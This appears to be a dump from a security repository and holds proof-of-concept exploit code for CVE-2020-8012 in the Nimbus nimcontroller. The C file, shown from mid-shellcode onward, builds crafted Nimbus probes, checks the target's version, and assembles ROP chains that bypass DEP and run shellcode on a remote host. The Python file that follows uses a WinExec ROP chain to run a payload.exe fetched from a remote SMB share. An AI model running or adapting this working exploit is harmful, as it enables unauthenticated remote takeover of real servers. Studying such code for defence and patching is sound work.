"\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c" 96 | "\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41" 97 | "\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5"; 98 | 99 | const char *exploited[] = \ 100 | { 101 | "10.0.18362", 102 | "6.3.9600", 103 | }; 104 | 105 | const char *versions[]= \ 106 | { 107 | "7.80 [Build 7.80.3132, Jun 1 2015]", 108 | }; 109 | 110 | /******************************************************************************************************************** 111 | * * 112 | * NimsoftProbe: * 113 | * * 114 | * This is the structure used for the packet generator, it will be used specifically as the return type. Within * 115 | * the structure there are 2 members, first the pointer to the packet and secondly the packet length. * 116 | * * 117 | * NimsoftProbe *packet_gen(char *lparams[], int nparams, int exploit_buffer): * 118 | * * 119 | * This function will generate a nimbus probe, taken from nimpack (tool I developed while reverse engineering) a * 120 | * few modifications where made to handle the exploit buffer (mainly since it contains NULLS). * 121 | * * 122 | ********************************************************************************************************************/ 123 | 124 | #define PHLEN 300 /* header */ 125 | #define PBLEN 2000 /* body */ 126 | #define PALEN 10000 /* argv */ 127 | #define FPLEN 20000 /* final probe */ 128 | 129 | #define CLIENT "127.0.0.1/1337" 130 | 131 | #define INTSIZ(x) snprintf(NULL, 0, "%i", x) 132 | 133 | unsigned char packet_header[] = \ 134 | "\x6e\x69\x6d\x62\x75\x73\x2f\x31\x2e\x30\x20%d\x20%d\x0d\x0a"; 135 | unsigned char packet_body[] = \ 136 | /* nimbus header */ 137 | "\x6d\x74\x79\x70\x65\x0F" /* mtype */ 138 | "\x37\x0F\x34\x0F\x31\x30\x30\x0F" /* 7.4.100 */ 139 | "\x63\x6d\x64\x0F" /* cmd */ 140 | "\x37\x0F%d\x0F" /* 7.x */ 141 | "%s\x0F" /* probe */ 142 | "\x73\x65\x71\x0F" /* seq */ 143 | "\x31\x0F\x32\x0F\x30\x0F" /* 1.2.0 */ 144 | "\x74\x73\x0F" /* ts */ 145 | "\x31\x0F%d\x0F" /* 1.X */ 146 | "%d\x0F" /* UNIX EPOCH */ 147 | "\x66\x72\x6d\x0F" /* frm */ 148 | "\x37\x0F%d\x0F" /* 7.15 */ 149 | "%s\x0F" /* client addr */ 150 | "\x74\x6f\x75\x74\x0F" /* tout */ 151 | "\x31\x0F\x34\x0F\x31\x38\x30\x0F" /* 1.4.180 */ 152 | "\x61\x64\x64\x72\x0F" /* addr */ 153 | "\x37\x0F\x30\x0F"; /* 7.0 */ 154 | 155 | typedef struct { 156 | char *packet; 157 | int length; 158 | } NimsoftProbe; 159 | 160 | NimsoftProbe *packet_gen(char *lparams[], int nparams, int exploit_buffer) 161 | { 162 | int c, i, j, k; 163 | int index = 0; 164 | int fmt_args; 165 | int lbody = 0; 166 | int largs = 0; 167 | char *tptr; 168 | char pheader[PHLEN]; 169 | char pbody[PBLEN]; 170 | char pargs[PALEN]; 171 | char pbuffer[FPLEN]; 172 | char temp_buffer[80]; 173 | char *probe = lparams[0]; 174 | 175 | int epoch_time = (int)time(NULL); 176 | 177 | NimsoftProbe *probePtr = (NimsoftProbe*)malloc(sizeof(NimsoftProbe)); 178 | 179 | fmt_args = snprintf(NULL, 0, "%d%s%d%d%d%s", 180 | (strlen(probe)+1), 181 | probe, 182 | (INTSIZ(epoch_time)+1), 183 | epoch_time, 184 | (strlen(CLIENT)+1), 185 | CLIENT 186 | ); 187 | 188 | if ((fmt_args + sizeof(packet_body)) > PBLEN) { 189 | printf("Failed to generate packet body\n"); 190 | exit(-1); 191 | } 192 | 193 | lbody = snprintf(pbody, PBLEN, packet_body, 194 | (strlen(probe)+1), 195 | probe, 196 | (INTSIZ(epoch_time)+1), 197 | epoch_time, 198 | (strlen(CLIENT)+1), 199 | CLIENT 200 | ); 201 | 202 | for (i = 1; i < nparams; i++) 203 | { 204 | memset(temp_buffer, '\0', 80); 205 | 206 | for (j = 0; j < strlen(lparams[i]); j++) 207 | { 208 | if ((c = lparams[i][j]) == '=') 209 | { 210 | memcpy(temp_buffer, lparams[i], j); 211 | index = ++j; 212 | break; 213 | } 214 | } 215 | 216 | tptr = lparams[i]; 217 | 218 | if ((c = 1, c += strlen(temp_buffer)) < PALEN) { 219 | largs += snprintf(pargs+largs, c, "%s", temp_buffer); 220 | largs++; 221 | } else { 222 | printf("Failed to generate packet arguments\n"); 223 | exit(-1); 224 | } 225 | 226 | if (index > 0 && exploit_buffer == 0) 227 | { 228 | tptr = tptr+index; 229 | 230 | if ((largs + strlen(tptr) + 2) < PALEN) 231 | { 232 | largs += snprintf(pargs+largs, 2, "%s", "1"); 233 | largs++; 234 | 235 | largs += snprintf(pargs+largs, strlen(tptr)+1, "%d", strlen(tptr)+1); 236 | largs++; 237 | } else { 238 | printf("Failed to generate packet arguments\n"); 239 | exit(-1); 240 | } 241 | 242 | c = 1, c += strlen(tptr); 243 | if ((largs + c) < PALEN) 244 | { 245 | largs += snprintf(pargs+largs, c, "%s", tptr); 246 | largs++; 247 | } else { 248 | printf("Failed to generate packet arguments\n"); 249 | exit(-1); 250 | } 251 | } 252 | 253 | if (index > 0 && exploit_buffer > 0) 254 | { 255 | tptr = tptr+index; 256 | 257 | if ((largs + exploit_buffer + 2) < PALEN) 258 | { 259 | largs += snprintf(pargs+largs, 2, "%s", "1"); 260 | largs++; 261 | 262 | largs += snprintf(pargs+largs, 5, "%d", exploit_buffer+1); 263 | largs++; 264 | } else { 265 | printf("Failed to generate packet arguments\n"); 266 | exit(-1); 267 | } 268 | 269 | c = 1, c += exploit_buffer; 270 | 271 | if ((largs + c) < PALEN) 272 | { 273 | memcpy(pargs+largs, tptr, c); 274 | largs += exploit_buffer; 275 | largs++; 276 | } else { 277 | printf("Failed to generate packet arguments\n"); 278 | exit(-1); 279 | } 280 | } 281 | } 282 | 283 | index = snprintf(pbuffer, FPLEN, packet_header, lbody, largs); 284 | index += lbody; 285 | 286 | if (index < FPLEN) { 287 | strncat(pbuffer, pbody, lbody); 288 | } else { 289 | printf("Failed to concatenate packet body\n"); 290 | exit(-1); 291 | } 292 | 293 | for (i = 0; i < index; i++) 294 | if (pbuffer[i] == '\x0f') 295 | pbuffer[i] = '\x00'; 296 | 297 | if ((index + largs) < FPLEN) { 298 | for (i = 0; i < largs; i++) 299 | pbuffer[index++] = pargs[i]; 300 | } 301 | else { 302 | printf("Failed to concatenate packet arguments\n"); 303 | exit(-1); 304 | } 305 | 306 | probePtr->packet = pbuffer; 307 | probePtr->length = index; 308 | 309 | return probePtr; 310 | } 311 | 312 | /********************************************************************************************************************* 313 | * * 314 | * int parse_directory(char *response, int length): * 315 | * * 316 | * This function will parse the directory contents, specifically looking for the entry keyword; if found, we can * 317 | * proceed with exploitation. * 318 | * * 319 | * int check_vulnerability(char *rhost, int rport): * 320 | * * 321 | * This function will send a Nimbus probe to the target controller, specifically the directory_list probe. Once * 322 | * sent the returned packet will be parsed by parse_directory. * 323 | * * 324 | *********************************************************************************************************************/ 325 | 326 | #define PE "(\033[1m\033[31m-\033[0m)" 327 | #define PI "(\033[1m\033[94m*\033[0m)" 328 | #define PG "(\033[1m\033[92m+\033[0m)" 329 | 330 | int parse_directory(char *response, int length) 331 | { 332 | int i; 333 | int backup; 334 | int check = 0; 335 | int index = 0; 336 | 337 | char buf[80]; 338 | struct tm ts; 339 | time_t capture; 340 | 341 | if (strncmp(response, "nimbus/1.0", 10) != 0) 342 | return -1; 343 | 344 | while (index < length) 345 | { 346 | if (strcmp("entry", (response+index)) == 0) 347 | printf("%s Persistence is an art\n\n", PG); 348 | 349 | if (strcmp("name", (response+index)) == 0) { 350 | backup = index; 351 | check = 1; 352 | 353 | /* last modified */ 354 | for (int i = 0; i < 15; i++) 355 | index += strlen(response+index) + 1; 356 | capture = atoi(response+index); 357 | ts = *localtime(&capture); 358 | strftime(buf, sizeof(buf), "%m/%d/%Y %I:%M %p", &ts); 359 | printf("%12s ", buf); 360 | index = backup; 361 | 362 | /* type */ 363 | for (int i = 0; i < 7; i++) 364 | index += strlen(response+index) + 1; 365 | if (strcmp("2", (response+index)) == 0) 366 | printf("%7s", " "); 367 | else 368 | printf("%-7s", ""); 369 | index = backup; 370 | /* name */ 371 | for (int i = 0; i < 3; i++) 372 | index += strlen(response+index) + 1; 373 | printf("%s\n", response+index); 374 | } 375 | index += strlen(response+index) + 1; 376 | } 377 | 378 | return (check != 1) ? -1 : 0; 379 | } 380 | 381 | int check_vulnerability(char *rhost, int rport) 382 | { 383 | int c; 384 | int sock; 385 | int count; 386 | 387 | NimsoftProbe *probe; 388 | char response[BUFSIZ]; 389 | struct sockaddr_in srv; 390 | char *get_directory_listing[] = { "directory_list", "directory=C:\\", "detail=1" }; 391 | 392 | probe = packet_gen(get_directory_listing, 3, 0); 393 | 394 | if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) 395 | return -1; 396 | 397 | srv.sin_addr.s_addr = inet_addr(rhost); 398 | srv.sin_port = htons(rport); 399 | srv.sin_family = AF_INET; 400 | 401 | if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0) 402 | return -1; 403 | printf("%s Verifying vulnerable probe is reachable\n", PI); 404 | 405 | send(sock, probe->packet, probe->length, 0); 406 | count = read(sock, response, BUFSIZ); 407 | 408 | if (parse_directory(response, count) == 0) 409 | printf("\n%s Target ready for exploitation\n", PG); 410 | else 411 | return -1; 412 | 413 | free(probe); 414 | close(sock); 415 | 416 | return 0; 417 | } 418 | 419 | /******************************************************************************************************************** 420 | * * 421 | * char *nimdex(char *haystack, char *needle, int size): * 422 | * * 423 | * This function works similar to strstr, however it was specifically made to index "keys" to their respective * 424 | * "values" within a Nimbus packet. It has only been tested against the get_info packet. * 425 | * * 426 | * int parse_response(char *response, int length): * 427 | * * 428 | * This function leverages nimdex to perform 2 checks. The first check will verify the target operating system * 429 | * has been exploited, the second check will verify the Nimbus controller version is exploitable (or rather has * 430 | * a ROP chain ready). In order for exploitation to succeed only the second check needs to pass, I have faith in * 431 | * my ROP chain being universal. * 432 | * * 433 | * int check_version(char *rhost, int rport): * 434 | * * 435 | * This function will send a Nimbus probe to the target controller, specifically the get_info probe. Once sent * 436 | * the returned packet will be parsed by parse_response. * 437 | * * 438 | ********************************************************************************************************************/ 439 | 440 | char *nimdex(char *haystack, char *needle, int size) 441 | { 442 | int found = 0; 443 | int index = 0; 444 | 445 | if (strncmp(haystack, "nimbus/1.0", 10) != 0) 446 | return NULL; 447 | 448 | while (index < size) 449 | { 450 | if (strcmp(needle, (haystack+index)) == 0) 451 | found = 2; 452 | else if (found >= 2) 453 | found++; 454 | if (found == 5) 455 | return &haystack[index]; 456 | index += strlen(haystack+index) + 1; 457 | } 458 | return NULL; 459 | } 460 | 461 | int parse_response(char *response, int length) 462 | { 463 | int i; 464 | int c; 465 | char *ptr; 466 | int check = 0; 467 | int nv = sizeof(versions)/sizeof(versions[0]); 468 | int ne = sizeof(exploited)/sizeof(exploited[0]); 469 | 470 | if ((ptr = nimdex(response, "os_minor", length)) == NULL) 471 | return -1; 472 | printf("%s Probe successful, detected: %s\n", PI, ptr); 473 | 474 | if ((ptr = nimdex(response, "os_version", length)) == NULL) 475 | return -1; 476 | 477 | for (i = 0; i < ne; i++) 478 | if ((strcmp(exploited[i], ptr)) == 0) 479 | check = 1; 480 | 481 | if (check != 1) 482 | { 483 | printf("%s Exploit has not been tested against OS version\n", PE); 484 | printf("%s Continute exploitation (Y/N): ", PE); 485 | 486 | c = getchar(); 487 | if (tolower(c) != 'y') 488 | exit(-1); 489 | 490 | printf("%s If exploitation successful, update code!!!\n", PI); 491 | if ((ptr = nimdex(response, "os_version", length)) == NULL) 492 | return -1; 493 | printf("%s Target OS ID: %s\n", PI, ptr); 494 | } 495 | else 496 | printf("%s Target OS appears to be exploitable\n", PI); 497 | 498 | check = 0; 499 | 500 | if ((ptr = nimdex(response, "version", length)) == NULL) 501 | return -1; 502 | 503 | for (i = 0; i < nv; i++) 504 | if ((strcmp(versions[i], ptr)) == 0) 505 | check = 1; 506 | 507 | if (check != 1) { 508 | printf("%s Exploit has not been tested against target build\n", PE); 509 | exit(-1); 510 | } else 511 | printf("%s Nimbus build appears to be exploitable\n", PI); 512 | 513 | return 0; 514 | } 515 | 516 | int check_version(char *rhost, int rport) 517 | { 518 | int c; 519 | int sock; 520 | int count; 521 | NimsoftProbe *probe; 522 | char response[BUFSIZ]; 523 | struct sockaddr_in srv; 524 | char *get_operating_sys[] = { "get_info", "interfaces=0" }; 525 | 526 | probe = packet_gen(get_operating_sys, 2, 0); 527 | 528 | if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) 529 | return -1; 530 | 531 | srv.sin_addr.s_addr = inet_addr(rhost); 532 | srv.sin_port = htons(rport); 533 | srv.sin_family = AF_INET; 534 | 535 | if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0) 536 | return -1; 537 | 538 | printf("%s Sending get_info probe to %s:%d\n", PI, rhost, rport); 539 | 540 | send(sock, probe->packet, probe->length, 0); 541 | count = read(sock, response, BUFSIZ); 542 | 543 | if ((parse_response(response, count) != 0)) { 544 | printf("%s Probe failed, unable to parse packet\n", PE); 545 | exit(-1); 546 | } 547 | 548 | free(probe); 549 | close(sock); 550 | 551 | return 0; 552 | } 553 | 554 | /***************************************************************************************************************** 555 | * This chain will re-align RSP / Stack, it MUST be a multiple of 16 bytes otherwise our call will fail. * 556 | * I had VP work 50% of the time when the stack was unaligned. * 557 | *****************************************************************************************************************/ 558 | int64_t rsp_alignment_rop_gadgets[] = { 559 | 560 | [0 ... 19] = 0x0000000140018c42, // ret (20 ROP NOPS) 561 | 0x0000000140002ef6, // pop rax ; ret 562 | 0x00000001401a3000, // *ptr to handle reference ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE ) 563 | 0x00000001400af237, // pop rdi ; ret 564 | 0x0000000000000007, // alignment for rsp 565 | 0x0000000140025dab, // add esp, edi ; adc byte [rax], al ; add rsp, 0x0000000000000278 ; ret 566 | }; 567 | 568 | /***************************************************************************************************************** 569 | * This chain will craft function calls to GetModuleHandleA, GetProcAddressStub, and finally VirtualProtectStub. * 570 | * Once completed, we have bypassed DEP and can get code execution. Since VirtualProtectStub is auto generated, * 571 | * we needn't worry about other Windows OS's. * 572 | *****************************************************************************************************************/ 573 | int64_t dep_bypass_rop_gadgets[] = { 574 | 575 | // RAX -> HMODULE GetModuleHandleA( 576 | // ( RCX == *module ) LPCSTR lpModuleName, 577 | // ); 578 | [0 ... 14] = 0x0000000140018c42, // ret (15 ROP NOPS) 579 | 0x0000000140002ef6, // pop rax ; ret 580 | 0x0000000000000000, // (zero out rax) 581 | 0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret 582 | 0x0000000000000000, // 583 | 0x0000000000000000, // 584 | 0x0000000000000000, // 585 | 0x0000000000000000, // 586 | 0x0000000000000000, // 587 | 0x0000000000000000, // 588 | [24 ... 33] = 0x0000000140018c42, // ret (10 ROP NOPS) 589 | 0x0000000140131643, // pop rcx ; ret 590 | 0x00000000000009dd, // offset to "kernel32.dll" 591 | 0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret 592 | [37 ... 51] = 0x0000000140018c42, // ret (15 ROP NOPS) 593 | 0x00000001400b741b, // xchg eax, ecx ; ret 594 | 0x0000000140002ef6, // pop rax ; ret 595 | 0x000000014015e310, // GetModuleHandleA (0x00000000014015E330-20) 596 | 0x00000001400d1161, // call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret 597 | [56 ... 72] = 0x0000000140018c42, // ret (17 ROP NOPS) 598 | 599 | // RAX -> FARPROC GetProcAddressStub( 600 | // ( RCX == &addr ) HMODULE hModule, 601 | // ( RDX == *module ) lpProcName 602 | // ); 603 | 0x0000000140111c09, // xchg rax, r11 ; or al, 0x00 ; ret (backup &hModule) 604 | 0x0000000140002ef6, // pop rax ; ret 605 | 0x0000000000000000, // (zero out rax) 606 | 0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret 607 | 0x0000000000000000, // 608 | 0x0000000000000000, // 609 | 0x0000000000000000, // 610 | 0x0000000000000000, // 611 | 0x0000000000000000, // 612 | 0x0000000000000000, // 613 | [83 ... 92] = 0x0000000140018c42, // ret (10 ROP NOPS) 614 | 0x0000000140131643, // pop rcx ; ret 615 | 0x0000000000000812, // offset to "virtualprotectstub" 616 | 0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret 617 | [96 ... 110] = 0x0000000140018c42, // ret (15 ROP NOPS) 618 | 0x0000000140135e39, // mov edx,eax ; mov rbx,qword [rsp+0x30] ; mov rbp,qword [rsp+0x38] ; mov rsi,qword [rsp+0x40] ; mov rdi,qword [rsp+0x48] ; mov eax,edx ; add rsp,0x20 ; pop r12; ret 619 | [112 ... 121] = 0x0000000140018c42, // ret (10 ROP NOPS) 620 | 0x00000001400d1ab8, // mov rax, r11 ; add rsp, 0x30 ; pop rdi ; ret 621 | [123 ... 132] = 0x0000000140018c42, // ret (10 ROP NOPS) 622 | 0x0000000140111ca1, // xchg rax, r13 ; or al, 0x00 ; ret 623 | 0x00000001400cf3d5, // mov rcx, r13 ; mov r13, qword [rsp+0x50] ; shr rsi, cl ; mov rax, rsi ; add rsp, 0x20 ; pop rdi ; pop rsi ; pop rbp ; ret 624 | 0x0000000000000000, // 625 | 0x0000000000000000, // 626 | 0x0000000000000000, // 627 | [138 ... 143] = 0x0000000140018c42, // ret 628 | 0x0000000140002ef6, // pop rax ; ret 629 | 0x000000014015e318, // GetProcAddressStub (0x00000000014015e338-20) 630 | 0x00000001400d1161, // call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret 631 | [147 ... 163] = 0x0000000140018c42, // ret (17 ROP NOPS) 632 | 633 | // RAX -> BOOL VirtualProtectStub( 634 | // ( RCX == *shellcode ) LPVOID lpAddress, 635 | // ( RDX == len(shellcode) ) SIZE_T dwSize, 636 | // ( R8 == 0x0000000000000040 ) DWORD flNewProtect, 637 | // ( R9 == *writeable location ) PDWORD lpflOldProtect, 638 | // ); 639 | 0x0000000140111c09, // xchg rax, r11 ; or al, 0x00 ; ret (backup *VirtualProtectStub) 640 | 0x000000014013d651, // pop r12 ; ret 641 | 0x00000001401fb000, // *writeable location ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE ) 642 | 0x00000001400eba74, // or r9, r12 ; mov rax, r9 ; mov rbx, qword [rsp+0x50] ; mov rbp, qword [rsp+0x58] ; add rsp, 0x20 ; pop r12 ; pop rdi ; pop rsi ; ret 643 | [168 ... 177] = 0x0000000140018c42, // ret (10 ROP NOPS) 644 | 0x0000000140002ef6, // pop rax ; ret 645 | 0x0000000000000000, // 646 | 0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret 647 | 0x0000000000000000, // 648 | 0x0000000000000000, // 649 | 0x0000000000000000, // 650 | 0x0000000000000000, // 651 | 0x0000000000000000, // 652 | 0x0000000000000000, // 653 | [187 ... 196] = 0x0000000140018c42, // ret (10 ROP NOPS) 654 | 0x0000000140131643, // pop rcx ; ret 655 | 0x000000000000059f, // (offset to *shellcode) 656 | 0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret 657 | [200 ... 214] = 0x0000000140018c42, // ret (15 ROP NOPS) 658 | 0x00000001400b741b, // xchg eax, ecx ; ret 659 | 0x00000001400496a2, // pop rdx ; ret 660 | 0x00000000000005dc, // dwSize 661 | 0x00000001400bc39c, // pop r8 ; ret 662 | 0x0000000000000040, // flNewProtect 663 | 0x00000001400c5f8a, // mov rax, r11 ; add rsp, 0x38 ; ret (RESTORE VirtualProtectStub) 664 | [221 ... 237] = 0x0000000140018c42, // ret (17 ROP NOPS) 665 | 0x00000001400a0b55, // call rax ; mov rdp qword ptr [rsp+48h] ; mov rsi, qword ptr [rsp+50h] ; mov rax, rbx ; mov rbx, qword ptr [rsp + 40h] ; add rsp,30h ; pop rdi ; ret 666 | [239 ... 258] = 0x0000000140018c42, // ret (20 ROP NOPS) 667 | 0x0000000140002ef6, // pop rax ; ret (CALL COMPLETE, "JUMP" INTO OUR SHELLCODE) 668 | 0x0000000000000000, // (zero out rax) 669 | 0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret 670 | 0x0000000000000000, // 671 | 0x0000000000000000, // 672 | 0x0000000000000000, // 673 | 0x0000000000000000, // 674 | 0x0000000000000000, // 675 | 0x0000000000000000, // 676 | [268 ... 277] = 0x0000000140018c42, // ret (10 ROP NOPS) 677 | 0x0000000140131643, // pop rcx ; ret 678 | 0x0000000000000317, // (offset to our shellcode) 679 | 0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret 680 | [281 ... 295] = 0x0000000140018c42, // ret (15 ROP NOPS) 681 | 0x00000001400a9747, // jmp rax 682 | [297 ... 316] = 0x0000000140018c42, // ret (do not remove) 683 | }; 684 | 685 | /******************************************************************************************************************** 686 | * * 687 | * int generate_rop_chain(unsigned char *buffer, int gadgets, int64_t rop_gadgets[]): * 688 | * * 689 | * This function will generate a rop chain and store it in the buffer passed as the first argument. The return * 690 | * value will contain the final ROP chain size. * 691 | * * 692 | ********************************************************************************************************************/ 693 | 694 | #define RSP_ROP (sizeof(rsp_alignment_rop_gadgets)/sizeof(int64_t)) 695 | #define DEP_ROP (sizeof(dep_bypass_rop_gadgets) / sizeof(int64_t)) 696 | 697 | int generate_rop_chain(unsigned char *buffer, int gadgets, int64_t rop_gadgets[]) 698 | { 699 | int i, j, k; 700 | int chain_size = 0; 701 | 702 | for (i = 0; i < gadgets; i++) 703 | for (j = 0, k = 0; j < sizeof(rop_gadgets[i]); j++) 704 | { 705 | *buffer++ = ((rop_gadgets[i]>>k)&0xff); 706 | chain_size++; 707 | k += 8; 708 | } 709 | 710 | return chain_size; 711 | } 712 | 713 | #define MAX_EXPLOIT_BUFFER 9000 714 | 715 | unsigned char *generate_exploit_buffer(unsigned char *buffer) 716 | { 717 | int r1, r2, c; 718 | char rop_chain[20000]; 719 | unsigned char *heapflip = "\x3d\xfd\x06\x40\x01\x00\x00\x00"; 720 | 721 | memset(buffer , 0x41, 1000); // Offset 722 | memset(buffer+1000, 0x0F, 33); 723 | memcpy(buffer+1033, heapflip, 8); // HeapFlip - pop rsp ; or al, 0x00 ; add rsp, 0x0000000000000448 ; ret 724 | memset(buffer+1041, 0x41, 7); // Adjustment for the initial chain 725 | 726 | /* generate the first rop chain to perform stack alignment */ 727 | r1 = generate_rop_chain(rop_chain, RSP_ROP, rsp_alignment_rop_gadgets); 728 | memcpy(buffer+1048, rop_chain, r1); 729 | c = r1 + 1048; 730 | 731 | /* adjust for second stage */ 732 | memset(buffer+c, 0x57, 631); 733 | c += 631; 734 | 735 | /* generate the second rop chain to perform DEP bypass */ 736 | r2 = generate_rop_chain(rop_chain, DEP_ROP, dep_bypass_rop_gadgets); 737 | memcpy(buffer+c, rop_chain, r2); 738 | c += r2; 739 | 740 | /* ROP CHAIN MUST BE 3500 BYTES OR EXPLOITATION WILL FAIL */ 741 | memset(buffer+c, 0x45, (3500 - (r1 + r2 + 631))); 742 | c += (3500 - (r1 + r2 + 631)); 743 | 744 | memcpy(buffer+c, "kernel32.dll\x00", 13); 745 | c += 13; 746 | 747 | memcpy(buffer+c, "VirtualProtect\x00", 15); 748 | c += 15; 749 | 750 | /* NOPS */ 751 | memset(buffer+c, 0x90, 500); 752 | c += 500; 753 | 754 | /* shellcode */ 755 | memcpy(buffer+c, shellcode, (sizeof(shellcode)-1)); 756 | c += (sizeof(shellcode)-1); 757 | 758 | /* filler */ 759 | memset(buffer+c, 0x10, (8000 - c)); 760 | 761 | return buffer; 762 | } 763 | 764 | #define MAX_ARGUMENTS 5 765 | 766 | void help() 767 | { 768 | printf("usage: ./singAboutMeImDyingOfThirst [-h] [-t TARGET] [-p PORT] [ARG=VAL]\n\n"); 769 | printf("Sing About Me Im Dying Of Thirst - A nimcontroller's worst nightmare\n\n"); 770 | printf("optional arguments:\n"); 771 | printf(" -h, --help show this help message and exit\n"); 772 | printf(" -t TARGET, --target TARGET target host to probe\n"); 773 | printf(" -p PORT, --port PORT nimcontroller port\n\n"); 774 | printf("examples:\n"); 775 | printf(" ./singAboutMeImDyingOfThirst -t 192.168.88.130 -p 48000\n"); 776 | exit(0); 777 | } 778 | 779 | int main(int argc, char **argv) 780 | { 781 | int c; 782 | int sock; 783 | int rport; 784 | NimsoftProbe *probe; 785 | struct sockaddr_in srv; 786 | char *rhost, *port; 787 | char *params[MAX_ARGUMENTS]; 788 | unsigned char *exploit_buff; 789 | unsigned char buffer[MAX_EXPLOIT_BUFFER]; 790 | unsigned char final_buffer[MAX_EXPLOIT_BUFFER] = "directory="; 791 | 792 | char *exploit[] = { "directory_list", final_buffer }; 793 | 794 | while (1) 795 | { 796 | static struct option long_options[] = 797 | { 798 | {"help", no_argument, 0, 'h'}, 799 | {"target", required_argument, 0, 't'}, 800 | {"port", required_argument, 0, 'p'}, 801 | {0, 0, 0} 802 | }; 803 | 804 | int option_index = 0; 805 | 806 | c = getopt_long (argc, argv, "ht:p:", long_options, &option_index); 807 | 808 | if (c == -1) 809 | break; 810 | 811 | switch(c) 812 | { 813 | case 't': 814 | rhost = optarg; 815 | break; 816 | case 'p': 817 | port = optarg; 818 | break; 819 | case 'h': 820 | default: 821 | help(); 822 | break; 823 | } 824 | } 825 | 826 | if (argc < 5) 827 | help(); 828 | 829 | rport = atoi(port); 830 | 831 | if (check_version(rhost, rport) != 0) { 832 | printf("%s Failed to connect to target host\n", PE); 833 | exit(-1); 834 | } 835 | 836 | if (check_vulnerability(rhost, rport) != 0) { 837 | printf("%s Target failed vulnerability tests\n", PE); 838 | exit(-1); 839 | } 840 | 841 | printf("%s Generating evil nimbus probe, we're watching\n", PI); 842 | exploit_buff = generate_exploit_buffer(buffer); 843 | memcpy(final_buffer+10, exploit_buff, 8000); 844 | probe = packet_gen(exploit, 2, 8000); 845 | 846 | printf("%s Sending evil buffer, R.I.P RIP - wetw0rk\n", PG); 847 | 848 | if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) 849 | return -1; 850 | 851 | srv.sin_addr.s_addr = inet_addr(rhost); 852 | srv.sin_port = htons(rport); 853 | srv.sin_family = AF_INET; 854 | 855 | if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0) 856 | return -1; 857 | 858 | send(sock, probe->packet, probe->length, 0); 859 | 860 | free(probe); 861 | close(sock); 862 | } 863 | -------------------------------------------------------------------------------- /0x02 - PoC Code/CVE-2020-8012 - Out Of Bounds Write/PoC/WinExec/winexec.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # Exploit Title : Sing About Me, I'm Dying Of Thirst 4 | # Date : ??/??/19 5 | # Author : wetw0rk 6 | # Software Link : Good luck 7 | # 8 | # Description: Unauthenticated Nimbus nimcontroller RCE. 9 | # 10 | # Tested on: 11 | # Windows 10 [10.0.18362] (x64) 12 | # 13 | 14 | import os 15 | import sys 16 | import struct 17 | import socket 18 | 19 | TIMEOUT = 4 20 | 21 | class nimbus_0day_exploitation(): 22 | 23 | def __init__(self, rhost, rport): 24 | self.rhost = rhost 25 | self.rport = rport 26 | 27 | self.payload = "cmd /c \\\\192.168.88.131\\SHARE\\payload.exe" 28 | self.payload += "\x00" * 50 # NEEDED 29 | 30 | def exploit(self): 31 | 32 | p_info("Launching unauthenticated nimbus RCE 0day") 33 | 34 | offset = "\x0f" * 1033 35 | heap_flip = struct.pack(' HMODULE GetModuleHandleA( 62 | # ( RCX == *module ) LPCSTR lpModuleName, 63 | # ); 64 | rop_gadgets = [0x0000000140018c42] * 30 # ret 65 | rop_gadgets += [0x0000000140002ef6, # pop rax ; ret 66 | 0x0000000000000000, # 67 | 0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret 68 | 0x32336c656e72656b, # "kernel32.dll" 69 | 0x000000006c6c642e, # ".dll" 70 | 0x0000000000000000, # 71 | 0x0000000000000000, # 72 | 0x0000000000000000, # 73 | 0x0000000000000000] # 74 | rop_gadgets += [0x0000000140018c42] * 10 # ret 75 | rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret 76 | rop_gadgets += [0x00000001400daf39, # pop rbx ; ret 77 | 0x000000014015e308, # GetModuleHandleA (0x00000000014015E330-28) 78 | 0x00000001401017d4] # lea rax, qword [rbx+0x08] ; add rsp, 0x30 ; pop rbx ; ret 79 | rop_gadgets += [0x0000000140018c42] * 10 # ret 80 | rop_gadgets += [0x00000001400d1161] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret 81 | rop_gadgets += [0x0000000140018c42] * 17 # ret 82 | 83 | # RAX -> UINT WinExec( 84 | # ( RCX == *payload ) LPCSTR lpCmdLine, 85 | # ( RDX == 0x0000000000000000 ) UINT uCmdShow 86 | # ); 87 | rop_gadgets += [0x0000000140131643, # pop rcx ; ret 88 | 0x000000000005e800, # [BASE ADDR + 0x5e800 == WinExec] (Windows 10 - 10.0.18362) 89 | 0x000000014006d8d8] # add rax, rcx ; add rsp, 0x38 ; ret 90 | rop_gadgets += [0x0000000140018c42] * 15 # ret 91 | rop_gadgets += [0x0000000140111c09] # xchg rax, r11 ; or al, 0x00 ; ret (BACKUP *WinExec) 92 | 93 | # RSP MUST BE A MULTIPLE OF 16 BYTES OTHERWISE CALL WILL FAIL ( Thanks Geluchat ) 94 | rop_gadgets += [0x0000000140002ef6, # pop rax ; 